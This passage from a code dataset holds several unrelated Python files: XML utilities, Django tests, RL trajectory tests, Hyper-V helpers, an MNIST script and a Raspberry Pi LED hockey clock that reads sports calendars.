code_count('/Users/sunwen/PycharmProjects/crawlProject/house_lianjia/')","sub_path":"A0007/code_count.py","file_name":"code_count.py","file_ext":"py","file_size_in_byte":814,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"33984181","text":"import xmltodict\nimport json\n\n\ndef xml_2_dict(xml_content):\n return xmltodict.parse(xml_content)\n\n\ndef xml_file_2_dict(xml_file_path):\n with open(xml_file_path, 'r', encoding='UTF-8') as f:\n xml_content = f.read()\n result = xmltodict.parse(xml_content)\n return result\n\n\ndef xml_file_2_json(xml_file_path, json_file_path=None):\n with open(xml_file_path, 'r', encoding='UTF-8') as f:\n xml_content = f.read()\n result = xmltodict.parse(xml_content)\n json_content = json.dumps(result)\n\n if json_file_path is not None and result is not None:\n with open(json_file_path, 'w') as f:\n json.dump(result, f)\n return json_content\n\n\ndef xml_2_json(xml_content):\n return json.dumps(xml_2_dict(xml_content))\n\n\ndef __print_xml_struc_is_leaf(dict_node):\n is_leaf = 'Y'\n if isinstance(dict_node, dict):\n for sub_key in dict_node.keys():\n if not(sub_key.startswith('@') or sub_key.startswith('#')):\n is_leaf = 'N'\n break\n return is_leaf\n\n\ndef __print_xml_struc_get_attr(dict_node):\n attr_str = ''\n if not isinstance(dict_node, dict):\n return attr_str\n for sub_key in dict_node.keys():\n if sub_key.startswith('@'):\n attr_str += '[' + sub_key + ']'\n return attr_str\n\n\ndef print_xml_struc(dict_node, level, result_list):\n curr_node_result = {}\n prefix_str = ',' * level\n if isinstance(dict_node, dict):\n for sub_key in dict_node.keys():\n if not (sub_key.startswith('@') or sub_key.startswith('#')):\n if isinstance(dict_node[sub_key], list):\n curr_node = dict_node[sub_key][0]\n curr_node_result['occurence'] = '∞'\n else:\n curr_node = dict_node[sub_key]\n curr_node_result['occurence'] = '1'\n curr_node_result['is_leaf'] = __print_xml_struc_is_leaf(curr_node)\n curr_node_result['content'] = prefix_str + sub_key + __print_xml_struc_get_attr(curr_node)\n result_list.append(curr_node_result)\n curr_node_result = {}\n print_xml_struc(curr_node, level + 1, result_list)\n\n\nif __name__ == '__main__':\n xml_content1 = '''\n \n
\n aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\n \n 2001-12-17T09:30:47Z\n 2001-12-17T09:30:47Z\n \n O\n USAMSRES\n aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\n aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\n RSP\n 3.14159265358979E0\n a\n \n aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\n aa\n \n String\n String\n \n
\n aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\n aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\n
\n '''\n dict_xml_content = xmltodict.parse(xml_content1)\n xml_struc_result_list = []\n print_xml_struc(dict_xml_content, 0, xml_struc_result_list)\n for item in xml_struc_result_list:\n print(','.join(list(item.values())))\n","sub_path":"util/xml_util.py","file_name":"xml_util.py","file_ext":"py","file_size_in_byte":4222,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"112462196","text":"def cetakPrima(input):\r\n bilanganPrima = []\r\n bukanbilPrima = []\r\n for i in range(input):\r\n a = 2\r\n if i == 2 or i == 3:\r\n bilanganPrima.append(i)\r\n else :\r\n for x in range(i):\r\n if i == a:\r\n bilanganPrima.append(i)\r\n break\r\n elif i % a == 0:\r\n bukanbilPrima.append(i)\r\n break\r\n else:\r\n a += 1\r\n\r\n print('bilangan prima :', bilanganPrima)\r\n print('bukan bilangan prima : ', bukanbilPrima)\r\n\r\ncetakPrima(1000)\r\n ","sub_path":"Modul_1/No6.py","file_name":"No6.py","file_ext":"py","file_size_in_byte":616,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"515038094","text":"from django.test import TestCase\nfrom s13sitecore.exceptions import *\nfrom s13sitecore.helpers import TestHelpers as th\nfrom s13sitecore.models.ContentModels import SiteSection as Section, \\\n Article, User\n\n\nclass ContentModelTests(TestCase):\n \"\"\"Simple tests for our content models. These are basically direct command\n line interactions. More complex testing are conducted at ContentAccessTests\n and ContentAdminTests, which use a Client and/or RequestFactory instance.\n \"\"\"\n \n def setUp(self):\n self.admin = th.create_user(\"admin\", True)\n # Non-admin staff.\n self.staff = th.create_user(\"staff\", False)\n self.staff.is_staff = True\n self.staff.save()\n # Create our basic sections.\n self.home = th.create_content_item(self.admin, \"Home Section\")\n self.sec1 = th.create_content_item(self.admin, \"Other Section\")\n \n def test_create_other_section(self):\n self.assertEqual(Article.objects.count(), 2)\n \n def test_create_other_section_pages(self):\n articles = self._setup_test_articles(self.admin, articles=2)\n self.assertEqual(Article.objects.filter(section=self.sec1).count(), 3)\n \n def test_create_child_pages(self):\n parent = Article.objects.get(name=\"other-section-home\")\n children = self._setup_test_articles(self.admin, articles=2, par=parent)\n self.assertEqual(Article.objects.filter(parent=parent).count(), 2)\n \n def test_delete_child_pages(self):\n parent = Article.objects.get(name=\"other-section-home\")\n children = self._setup_test_articles(self.admin, articles=2, par=parent)\n parent.delete()\n self.assertEqual(Article.objects.filter(section=self.sec1).count(), 0)\n \n def test_delete_entire_section(self):\n page1 = th.create_content_item(self.admin, \"p1\", self.sec1, None)\n page2 = th.create_content_item(self.admin, \"p2\", self.sec1, None)\n self.sec1.delete()\n self.assertEqual(Section.objects.count(), 1) # We still have Home.\n self.assertEqual(Article.objects.count(), 1) # We still have Home.\n \n def test_prevent_home_deletion(self):\n self.assertRaises(HomeDeleteError, self.home.delete)\n \n def test_prevent_home_name_modification(self):\n self.home.name = \"NotHome\"\n self.assertRaises(HomeNameChangeError, self.home.save)\n page = Article.objects.get(name=\"home\")\n page.name = \"not-home\"\n self.assertRaises(HomeNameChangeError, page.save)\n \n def test_prevent_section_creation_and_modification_by_nonadmin(self):\n sec = Section()\n sec.author = self.staff\n sec.title = \"Non Admin Section\"\n self.assertRaises(InsufficientPermissionsError, sec.save)\n sec = self.home\n sec.author = self.staff\n sec.title = \"Not Home\"\n self.assertRaises(InsufficientPermissionsError, sec.save)\n \n def test_prevent_creation_of_anachronistic_child_pages(self):\n grand = th.create_content_item(self.admin, \"Grandparent\", self.home)\n parent = th.create_content_item(self.admin, \"Parent Page\",\n self.home, grand)\n child = th.create_content_item(self.admin, \"Child Page\",\n self.home, parent)\n grand.parent = child\n self.assertRaises(AnachronisticParentingError, grand.save)\n \n def test_prevent_section_homepage_from_being_moved(self):\n page = self.sec1.get_homepage()\n page.section = self.home\n self.assertRaises(HomeArticleSectionChangeError, page.save)\n \n def test_get_article_children(self):\n hp = self.sec1.get_homepage()\n children = self._setup_test_articles(self.admin, par=hp)\n self.assertListEqual(children, hp.get_children())\n \n def test_get_article_siblings(self):\n hp = self.sec1.get_homepage()\n siblings = self._setup_test_articles(self.admin, par=hp.parent)\n siblings.append(hp) # Because get_siblings includes the article.\n self.assertListEqual(siblings, hp.get_siblings())\n \n def test_none_charfields_to_empty_strings(self):\n page = Article()\n page.author = self.admin\n page.section = self.home\n page.title = \"Some Page\"\n page.save()\n self.assertEqual(page.body, \"\")\n \n def test_update_parent_date_edit(self):\n # Create a parent page.\n pr = th.create_content_item(self.admin, \"Parent Article\", self.home)\n old_date = pr.date_edit\n # Create a child page.\n ch = th.create_content_item(self.admin, \"Child Article\", self.home, pr)\n self.assertTrue(old_date < ch.parent.date_edit)\n \n \n # Private.\n def _setup_test_articles(self, author, articles=3, par=None, reverse=True):\n \"\"\"Creates x number of articles in the Other Section, under parent.\"\"\"\n alist = []\n for a in range(articles):\n title = \"Page %s\" % a\n alist.append(th.create_content_item(author, title, self.sec1, par))\n if reverse:\n alist.reverse()\n return alist\n","sub_path":"s13sitecore/tests/contentmodeltests.py","file_name":"contentmodeltests.py","file_ext":"py","file_size_in_byte":5069,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"158307543","text":"from collections_helper.collections_spec_constants import MetaCrudParams\n\nspec = {\n # Scope/Collection ops params\n MetaCrudParams.COLLECTIONS_TO_FLUSH: 0,\n MetaCrudParams.COLLECTIONS_TO_DROP: 40,\n\n MetaCrudParams.SCOPES_TO_DROP: 2,\n MetaCrudParams.SCOPES_TO_ADD_PER_BUCKET: 2,\n MetaCrudParams.COLLECTIONS_TO_ADD_FOR_NEW_SCOPES: 2,\n\n MetaCrudParams.COLLECTIONS_TO_ADD_PER_BUCKET: 2,\n\n MetaCrudParams.BUCKET_CONSIDERED_FOR_OPS: \"all\",\n MetaCrudParams.SCOPES_CONSIDERED_FOR_OPS: \"all\",\n MetaCrudParams.COLLECTIONS_CONSIDERED_FOR_OPS: \"all\",\n\n # Doc loading params\n \"doc_crud\": {\n MetaCrudParams.DocCrud.RANDOMIZE_VALUE: True,\n MetaCrudParams.DocCrud.NUM_ITEMS_FOR_NEW_COLLECTIONS: 500,\n\n MetaCrudParams.DocCrud.COMMON_DOC_KEY: \"test_collections\",\n MetaCrudParams.DocCrud.CREATE_PERCENTAGE_PER_COLLECTION: 20,\n MetaCrudParams.DocCrud.READ_PERCENTAGE_PER_COLLECTION: 20,\n MetaCrudParams.DocCrud.UPDATE_PERCENTAGE_PER_COLLECTION: 20,\n MetaCrudParams.DocCrud.REPLACE_PERCENTAGE_PER_COLLECTION: 0,\n MetaCrudParams.DocCrud.DELETE_PERCENTAGE_PER_COLLECTION: 20,\n },\n\n \"subdoc_crud\": {\n MetaCrudParams.SubDocCrud.XATTR_TEST: False,\n\n MetaCrudParams.SubDocCrud.INSERT_PER_COLLECTION: 0,\n MetaCrudParams.SubDocCrud.UPSERT_PER_COLLECTION: 0,\n MetaCrudParams.SubDocCrud.REMOVE_PER_COLLECTION: 0,\n MetaCrudParams.SubDocCrud.LOOKUP_PER_COLLECTION: 0,\n },\n\n # Doc_loading task options\n MetaCrudParams.DOC_TTL: 0,\n MetaCrudParams.DURABILITY_LEVEL: \"\",\n MetaCrudParams.SDK_TIMEOUT: 120,\n MetaCrudParams.SDK_TIMEOUT_UNIT: \"seconds\",\n MetaCrudParams.TARGET_VBUCKETS: \"all\",\n MetaCrudParams.SKIP_READ_ON_ERROR: True,\n MetaCrudParams.SUPPRESS_ERROR_TABLE: True,\n # The below is to skip populating success dictionary for reads\n MetaCrudParams.SKIP_READ_SUCCESS_RESULTS: True,\n\n MetaCrudParams.RETRY_EXCEPTIONS: [],\n MetaCrudParams.IGNORE_EXCEPTIONS: [],\n\n # Applies only for DocCrud / SubDocCrud operation\n MetaCrudParams.COLLECTIONS_CONSIDERED_FOR_CRUD: \"all\",\n MetaCrudParams.SCOPES_CONSIDERED_FOR_CRUD: \"all\",\n MetaCrudParams.BUCKETS_CONSIDERED_FOR_CRUD: \"all\",\n\n # Number of threadpool executor workers for scope/collection drops/creates\n # for making parallel rest calls during subsequent data load\n MetaCrudParams.THREADPOOL_MAX_WORKERS: 10\n}","sub_path":"pytests/bucket_collections/collection_ops_specs/volume_test_load_with_CRUD_on_collections_magma.py","file_name":"volume_test_load_with_CRUD_on_collections_magma.py","file_ext":"py","file_size_in_byte":2416,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"167273305","text":"import unittest\nimport numpy as np\nfrom trajectory import ParallelTrajectory\n\n\nclass TestParallelTrajectory(unittest.TestCase):\n def setUp(self):\n self.trajectory = ParallelTrajectory(2)\n\n def test_discounted_returns(self):\n self.add_rewards(step=1, parallel_rewards=[1, 1], parallel_dones=[False, False])\n self.add_rewards(step=2, parallel_rewards=[1, 1], parallel_dones=[False, False])\n self.add_rewards(step=3, parallel_rewards=[1, 1], parallel_dones=[True, False])\n self.add_rewards(step=4, parallel_rewards=[1, 1], parallel_dones=[False, True])\n self.add_rewards(step=5, parallel_rewards=[1, 1], parallel_dones=[False, False])\n self.add_rewards(step=6, parallel_rewards=[1, 1], parallel_dones=[True, False])\n\n actual_returns = self.trajectory.discounted_returns(discount=0.9)\n expected_returns = [[2.71, 3.439],\n [1.9, 2.71],\n [1., 1.9],\n [2.71, 1.],\n [1.9, 1.9],\n [1., 1.]]\n np.testing.assert_array_equal(actual_returns, np.array(expected_returns))\n\n def add_rewards(self, step, parallel_rewards, parallel_dones):\n i = step\n self.trajectory.add(\n parallel_states=np.array([i, i]),\n parallel_actions=np.array([i, i]),\n parallel_action_probs=np.array([0.5, 0.5]),\n parallel_rewards=np.array(parallel_rewards),\n parallel_next_states=np.array([i+1, i+1]),\n parallel_dones=np.array(parallel_dones))\n\n def test_rewards(self):\n a = [1, 2, 3, 4]\n b = a[2:] + a[:2]\n c = (np.array(a) + np.array(b))/2.0\n np.testing.assert_array_equal(c, np.array([2., 3., 2., 3.]))\n\n def test_action_probs(self):\n self.add_action_probs(step=1, parallel_states=[10, 20], parallel_action_probs=[0.10, 0.20])\n self.add_action_probs(step=2, parallel_states=[11, 21], parallel_action_probs=[0.11, 0.21])\n self.add_action_probs(step=3, parallel_states=[12, 22], parallel_action_probs=[0.12, 0.22])\n self.add_action_probs(step=4, parallel_states=[13, 23], parallel_action_probs=[0.13, 0.23])\n self.add_action_probs(step=5, parallel_states=[14, 24], parallel_action_probs=[0.14, 0.24])\n self.add_action_probs(step=6, parallel_states=[15, 25], parallel_action_probs=[0.15, 0.25])\n\n states, full_states, actions, action_probs, rewards, next_states, dones = self.trajectory.numpy()\n\n np.testing.assert_array_equal(states[:, 0], np.array([10, 11, 12, 13, 14, 15]))\n np.testing.assert_array_equal(action_probs[:, 0], np.array([0.10, 0.11, 0.12, 0.13, 0.14, 0.15]))\n\n np.testing.assert_array_equal(states[:, 1], np.array([20, 21, 22, 23, 24, 25]))\n np.testing.assert_array_equal(action_probs[:, 1], np.array([0.20, 0.21, 0.22, 0.23, 0.24, 0.25]))\n\n def add_action_probs(self, step, parallel_states, parallel_action_probs):\n i = step\n self.trajectory.add(\n parallel_states=np.array(parallel_states),\n parallel_actions=np.array([i, i]),\n parallel_action_probs=np.array(parallel_action_probs),\n parallel_rewards=np.array([i, i]),\n parallel_next_states=np.array([i+1, i+1]),\n parallel_dones=np.array([False, False]))\n","sub_path":"soccer-twos-ppo/test_trajectory.py","file_name":"test_trajectory.py","file_ext":"py","file_size_in_byte":3367,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"107058133","text":"# Copyright 2015 Cloudbase Solutions Srl\n# All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\nimport sys\n\nif sys.platform == 'win32':\n import wmi\n\nfrom oslo_log import log as logging\n\nfrom hyperv.i18n import _LW\nfrom hyperv.nova import hostutils\n\nLOG = logging.getLogger(__name__)\n\n\nclass HostUtilsV2(hostutils.HostUtils):\n\n _MSVM_PROCESSOR = 'Msvm_Processor'\n _MSVM_MEMORY = 'Msvm_Memory'\n\n _CENTRAL_PROCESSOR = 'Central Processor'\n\n def __init__(self):\n super(HostUtilsV2, self).__init__()\n self._init_wmi_virt_conn()\n\n def _init_wmi_virt_conn(self):\n if sys.platform == 'win32':\n self._conn_virt = wmi.WMI(moniker='//./root/virtualization/v2')\n\n def get_numa_nodes(self):\n numa_nodes = self._conn_virt.Msvm_NumaNode()\n nodes_info = []\n for node in numa_nodes:\n related_info = node.associators()\n\n memory_info = self._get_numa_memory_info(related_info)\n if not memory_info:\n LOG.warning(_LW(\"Could not find memory information for NUMA \"\n \"node. Skipping node measurements.\"))\n continue\n\n cpu_info = self._get_numa_cpu_info(related_info)\n if not cpu_info:\n LOG.warning(_LW(\"Could not find CPU information for NUMA \"\n \"node. Skipping node measurements.\"))\n continue\n\n node_info = {\n # NodeID has the format: Microsoft:PhysicalNode\\\n 'id': node.NodeID.split('\\\\')[-1],\n\n # memory block size is 1MB.\n 'memory': memory_info.NumberOfBlocks,\n 'memory_usage': node.CurrentlyConsumableMemoryBlocks,\n\n # DeviceID has the format: Microsoft:UUID\\0\\\n 'cpuset': set([c.DeviceID.split('\\\\')[-1] for c in cpu_info]),\n # cpu_usage can be set, each CPU has a \"LoadPercentage\"\n 'cpu_usage': 0,\n }\n\n nodes_info.append(node_info)\n\n return nodes_info\n\n def _get_numa_memory_info(self, related_info):\n memory_info = [i for i in related_info if\n i.CreationClassName == self._MSVM_MEMORY and\n i.Primordial]\n if memory_info:\n return memory_info[0]\n\n def _get_numa_cpu_info(self, related_info):\n cpu_info = [i for i in related_info if\n i.CreationClassName == self._MSVM_PROCESSOR and\n i.Role == self._CENTRAL_PROCESSOR]\n if cpu_info:\n return cpu_info\n\n def get_remotefx_gpu_info(self):\n gpus = []\n all_gpus = self._conn_virt.Msvm_Physical3dGraphicsProcessor(\n EnabledForVirtualization=True)\n for gpu in all_gpus:\n gpus.append({'name': gpu.Name,\n 'driver_version': gpu.DriverVersion,\n 'total_video_ram': gpu.TotalVideoMemory,\n 'available_video_ram': gpu.AvailableVideoMemory,\n 'directx_version': gpu.DirectXVersion})\n return gpus\n","sub_path":"hyperv/nova/hostutilsv2.py","file_name":"hostutilsv2.py","file_ext":"py","file_size_in_byte":3679,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"434135655","text":"import tensorflow as tf\nfrom tensorflow import keras\nimport numpy as np\nimport matplotlib.pyplot as plt\n\ndata = keras.datasets.mnist\n\n(train_images, train_labels), (test_images, test_labels) = data.load_data()\n\ntest_images = test_images / 255\ntrain_images = train_images / 255\n\nmodel = keras.Sequential([\n keras.layers.Flatten(input_shape=(28, 28)),\n keras.layers.Dense(128, activation=\"relu\"),\n keras.layers.Dense(10, activation=\"softmax\")\n])\n\nmodel.compile(optimizer=\"adam\",\n loss=\"sparse_categorical_crossentropy\",\n metrics=[\"accuracy\"])\n\nmodel.fit(test_images, test_labels, epochs=5)\n\ntest_loss, test_acc = model.evaluate(test_images, test_labels)\nprint(test_acc)\n\npredict = model.predict(test_images)\n","sub_path":"DigitsRecognition.py","file_name":"DigitsRecognition.py","file_ext":"py","file_size_in_byte":807,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"204852188","text":"#\n# Office hockey clock\n#\nimport sys,traceback\nimport RPi.GPIO as GPIO\nimport time\nimport datetime\nimport colorsys\nimport os\nimport json\nimport config\nimport re\nimport statsapi\nfrom pytz import timezone\nfrom snow import Snow\nfrom rain import Rain\n\nfrom io import BytesIO\n\nfrom dateutil import tz\nfrom datetime import timedelta\n\nfrom icalendar import Calendar, Event\nfrom urllib.request import urlopen,Request\nfrom urllib.parse import urlencode\n\nfrom rgbmatrix import RGBMatrix, RGBMatrixOptions, graphics\nfrom PIL import Image\nfrom PIL import ImageDraw\nfrom PIL import ImageFont\nfrom PIL import ImageOps \n\n\nfrom movingpanel import MovingPanel\nfrom movingpanel import Direction\n\nGPIO.setmode(GPIO.BOARD)\nPIN_DATA = 5\nPIN_LATCH = 7\nPIN_CLOCK = 3\n\nPIN_DATA = 21\nPIN_LATCH = 23\nPIN_CLOCK = 19\nPIN_ENA = 24\n\nGPIO.setup(PIN_DATA, GPIO.OUT)\nGPIO.setup(PIN_LATCH, GPIO.OUT)\nGPIO.setup(PIN_CLOCK, GPIO.OUT)\nGPIO.setup(PIN_ENA, GPIO.OUT)\n\nGPIO.output(PIN_DATA, 0)\nGPIO.output(PIN_CLOCK, 0)\nGPIO.output(PIN_LATCH, 0)\n#GPIO.output(PIN_ENA, 0)\nGPIO.PWM(PIN_ENA, 0.001).start(1)\n\noptions = RGBMatrixOptions()\noptions.rows = 32\noptions.cols = 64\noptions.chain_length = 2\noptions.parallel = 1\noptions.hardware_mapping = 'adafruit-hat-pwm'\noptions.gpio_slowdown = 2\noptions.brightness = 50\n\nmatrix = RGBMatrix(options = options)\n\nweather = None #Snow(matrix.width, matrix.height)\nwith open('icons.json') as f:\n iconmap = json.load(f)\n\nimage = Image.open(\"sox.png\")\nsox = Image.new('RGBA', (matrix.width, matrix.height))\nsox.paste(image, (0,0), mask=image)\n\nimage = Image.open(\"tigerhead.png\")\ntigerhead = Image.new('RGBA', (matrix.width, matrix.height))\ntigerhead.paste(image, (0,0), mask=image)\n\nimage = Image.open(\"barons.png\")\nbarons = Image.new('RGBA', (matrix.width, matrix.height))\nbarons.paste(image, (0,0), mask=image)\n\nimage = Image.open(\"blues.png\")\nblues = Image.new('RGBA', (matrix.width, matrix.height))\nblues.paste(image, (0,0), mask=image)\n\nimage = Image.open(\"rithockey.png\")\nrithockey = Image.new('RGBA', (matrix.width, matrix.height))\nrithockey.paste(image, (0,0), mask=image)\n\nimage = Image.open(\"cougars.png\")\ncougars = Image.new('RGBA', (matrix.width, matrix.height))\ncougars.paste(image, (0,0), mask=image)\n\ncalendars = [ \n#{ \"name\":\"Cougars\", \"url\":\"http://srv1-advancedview.rschooltoday.com/public/conference/ical/u/0072159751ae796db2fa55b70a1578c3\", \"icon\":cougars, \"pattern\":None, \"exclude\":\"Date Changed to\"},\n{ \"name\":\"Boston Red Sox\", \"url\":\"http://api.roktcalendar.com/webcal/8f7a699f-46f5-4174-ab05-631b41a9816d\", \"icon\":sox, \"pattern\":None, \"exclude\":None},\n{ \"name\":\"Men's Hockey\", \"url\":\"http://www.ritathletics.com/calendar.ashx/calendar.ics?sport_id=9\", \"icon\":tigerhead, \"pattern\":None, \"exclude\":None},\n{ \"name\":\"Women's Hockey\", \"url\":\"http://www.ritathletics.com/calendar.ashx/calendar.ics?sport_id=10\", \"icon\":tigerhead, \"pattern\":None, \"exclude\":None}\n#{ \"name\":\"Barons\", \"url\":\"http://sectionvhockey.org/calendar_events/calendar/3095/168976/-1/0/0/none/true.ics?1543938015\", \"icon\":blues, \"pattern\":\"Bighton\", \"exclude\":None},\n#{ \"name\":\"Barons (TA)\", \"url\":\"https://icalendar.teamapp.com/clubs/152456/events_subscriptions.ics?id=5112657&secret=BAhJIj1maXorN1dnaWlBTlV2WmJjMFBYYjE4eHVnb2JMU0MvU3FFZWJlY0NSMkM2VDUvTjBzSk44SG00SAY6BkVU--90e2f85752a0c6f134dbbb250f94b597401f8dff\", \"icon\":blues, \"pattern\":\"Game\", \"exclude\":None}\n#{ \"name\":\"Blues\", \"url\":\"http://my.sportngin.com/ical/my_teams?team_ids[]=2920662\", \"icon\":barons, \"pattern\":None, \"exclude\":None}\n]\n\n\n# Make image fit our screen.\n#image.thumbnail((matrix.width, matrix.height), Image.ANTIALIAS)\n\n#matrix.SetImage(image.convert('RGB'))\n\nsymbols = {\n # _7_\n # 2| |6\n # _1_\n # 3| |5\n # _4_\n # 0,1,2,3,4,5,6,7\n \" \":[0,0,0,0,0,0,0,0],\n \"'\":[1,0,0,0,0,0,0,0],\n \"-\":[0,1,0,0,0,0,0,0],\n \".\":[0,0,0,1,0,0,0,0],\n \"0\":[0,0,1,1,1,1,1,1],\n \"1\":[0,0,0,0,0,1,1,0],\n \"2\":[0,1,0,1,1,0,1,1],\n \"3\":[0,1,0,0,1,1,1,1],\n \"4\":[0,1,1,0,0,1,1,0],\n \"5\":[0,1,1,0,1,1,0,1],\n \"6\":[0,1,1,1,1,1,0,1],\n \"7\":[0,0,0,0,0,1,1,1],\n \"8\":[0,1,1,1,1,1,1,1],\n \"9\":[0,1,1,0,1,1,1,1],\n \":\":[0,0,1,1,0,0,0,0],\n \"=\":[0,1,0,0,1,0,0,0],\n \"A\":[0,1,1,1,0,1,1,1],\n \"C\":[0,0,1,1,1,0,0,1],\n \"E\":[0,1,1,1,1,0,0,1],\n \"F\":[0,1,1,1,0,0,0,1],\n \"H\":[0,1,1,1,0,1,1,0],\n \"P\":[0,1,1,1,0,0,1,1],\n \"_\":[0,0,0,0,1,0,0,0],\n \"b\":[0,1,1,1,1,1,0,0],\n \"d\":[0,1,0,1,1,1,1,0],\n \"h\":[0,1,1,1,0,1,0,0],\n \"o\":[0,1,0,1,1,1,0,0],\n \"r\":[0,1,0,1,0,0,0,0],\n \"u\":[0,0,0,1,1,1,0,0],\n \"y\":[0,1,1,0,1,1,1,0],\n \"|\":[0,0,1,1,0,0,0,0],\n\n}\nkeys = sorted(symbols.keys())\ndef shiftout(byte):\n for x in range(0,8):\n #print str(byte[x])+\"\\n\"\n GPIO.output(PIN_DATA, byte[x]&1)\n time.sleep(0.00000001)\n GPIO.output(PIN_CLOCK, 1)\n time.sleep(0.00000001)\n GPIO.output(PIN_DATA, 0)\n GPIO.output(PIN_CLOCK, 0)\n time.sleep(0.00000001)\n #print \"\\n\";\n\ndef putClock(string):\n #print(\"Put to clock [\"+string+\"]\\n\")\n shiftout(symbols[string[3]])\n shiftout(symbols[string[2]])\n shiftout(symbols[string[1]])\n shiftout(symbols[string[0]])\n GPIO.output(PIN_LATCH, 1)\n time.sleep(0.00000001)\n GPIO.output(PIN_LATCH, 0)\n\nputClock(\"8888\")\n\n\noffscreen_canvas = matrix.CreateFrameCanvas()\nfont = graphics.Font()\nfont.LoadFont(\"rpi-rgb-led-matrix/fonts/6x9.bdf\")\nsmfont = ImageFont.load(os.path.dirname(os.path.realpath(__file__)) + \"/fonts/5x8-KOI8-R.pil\")\nmedfont = ImageFont.load(os.path.dirname(os.path.realpath(__file__)) + \"/fonts/9x15B.pil\")\ntightfont = ImageFont.load(os.path.dirname(os.path.realpath(__file__)) + \"/fonts/clB6x12.pil\")\nlargefont = ImageFont.load(os.path.dirname(os.path.realpath(__file__)) + \"/fonts/10x20.pil\")\n\nwhite = (200, 200, 200)\nred = (255, 20, 20)\nyellow = (255, 255, 0)\norange = (255, 165, 0)\n\ndef oldgetCalendar( url, check = None ):\n user_agent = 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)'\n headers = { 'User-Agent' : user_agent }\n values = {}\n\n data = urlencode(values).encode('utf-8')\n\n #req = Request(url, data, headers)\n req = Request(url, None, headers)\n response = urlopen(req)\n r = response.read().decode('iso-8859-1')\n r = re.sub(r';X-RICAL-TZSOURCE=TZINFO', '', r, flags=re.DOTALL)\n #print(r)\n c = Calendar(r)\n earliest = None #c.events[0]\n for e in c.events:\n if check is not None and str(e['SUMMARY']).find(check) == -1:\n continue\n if e.begin.astimezone(tz.tzlocal()).isoformat() < datetime.datetime.now().isoformat():\n return earliest\n if earliest is None or earliest.begin > e.begin:\n earliest = e\n return None\n\ndef getCalendar( url, check = None, exclude = None ):\n local_tz = timezone('America/New_York')\n user_agent = 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)'\n headers = { 'User-Agent' : user_agent }\n values = {}\n\n data = urlencode(values).encode('utf-8')\n\n #req = Request(url, data, headers)\n req = Request(url, None, headers)\n response = urlopen(req)\n r = response.read().decode('iso-8859-1')\n r = re.sub(r';X-RICAL-TZSOURCE=TZINFO', '', r, flags=re.DOTALL)\n #print(r)\n c = Calendar.from_ical(r)\n earliest = None #c.events[0]\n for e in c.walk('vevent'):\n\n if check is not None and str(e['SUMMARY']).find(check) == -1:\n continue\n\n if exclude is not None and str(e['SUMMARY']).find(exclude) != -1:\n continue\n\n # Remove things that are not a datetime\n if not isinstance(e['DTSTART'].dt, datetime.datetime):\n print(\"For some reason it is not a datetime?\")\n print(e)\n continue\n \n # Localize if necessary\n if e['DTSTART'].dt.tzinfo is None:\n e['DTSTART'].dt = local_tz.localize(e['DTSTART'].dt)\n \n # Ignore things in the past\n if e['DTSTART'].dt.astimezone(tz.tzlocal()).isoformat() < datetime.datetime.now().isoformat():\n continue\n\n if earliest is None or earliest['DTSTART'].dt > e['DTSTART'].dt:\n print(e['SUMMARY']);\n print(e['DTSTART'].dt);\n if earliest is not None:\n print(earliest['DTSTART'].dt);\n earliest = e\n\n if earliest is None:\n return None\n if earliest['DTSTART'].dt.astimezone(tz.tzlocal()).isoformat() < datetime.datetime.now().isoformat():\n print (earliest['DTSTART'].dt.astimezone(tz.tzlocal()).isoformat() )\n print (datetime.datetime.now().isoformat())\n print(\"BAD\")\n return None\n print(earliest)\n return earliest\n\n\ndef updateCalendars():\n global calendars\n print(\"Updating calendars...\")\n for c in calendars:\n print(\"Updating calendar: \"+c[\"name\"])\n c['next'] = getCalendar( c[\"url\"], c[\"pattern\"], c[\"exclude\"])\n \n\nupdateCalendars()\nlastCalUpdate = time.time() \n\ndef doGame( nextGame, who, icon, duration ):\n global offscreen_canvas, graphics, matrix, weather\n posLoc = posNG = offscreen_canvas.width\n t_end = time.time() + duration\n now = time.time()\n btime = time.time() + 2\n blink = 0\n\n image = Image.new('RGBA', (matrix.width, matrix.height))\n imageDraw = ImageDraw.Draw(image)\n while now < t_end:\n now = time.time()\n if btime < now:\n blink = not blink\n btime = now+2\n\n offscreen_canvas.Clear()\n imageDraw.rectangle((0,0,matrix.width, matrix.height), fill=(0,0,0,0))\n imageDraw.text((36, -2), who, font=tightfont, fill=orange)\n until = nextGame['DTSTART'].dt.astimezone(tz.tzlocal()).replace(tzinfo=tz.tzlocal()) - datetime.datetime.now().replace(tzinfo=tz.tzlocal())\n \n if(until.days < 7):\n len = imageDraw.text((36, 9), 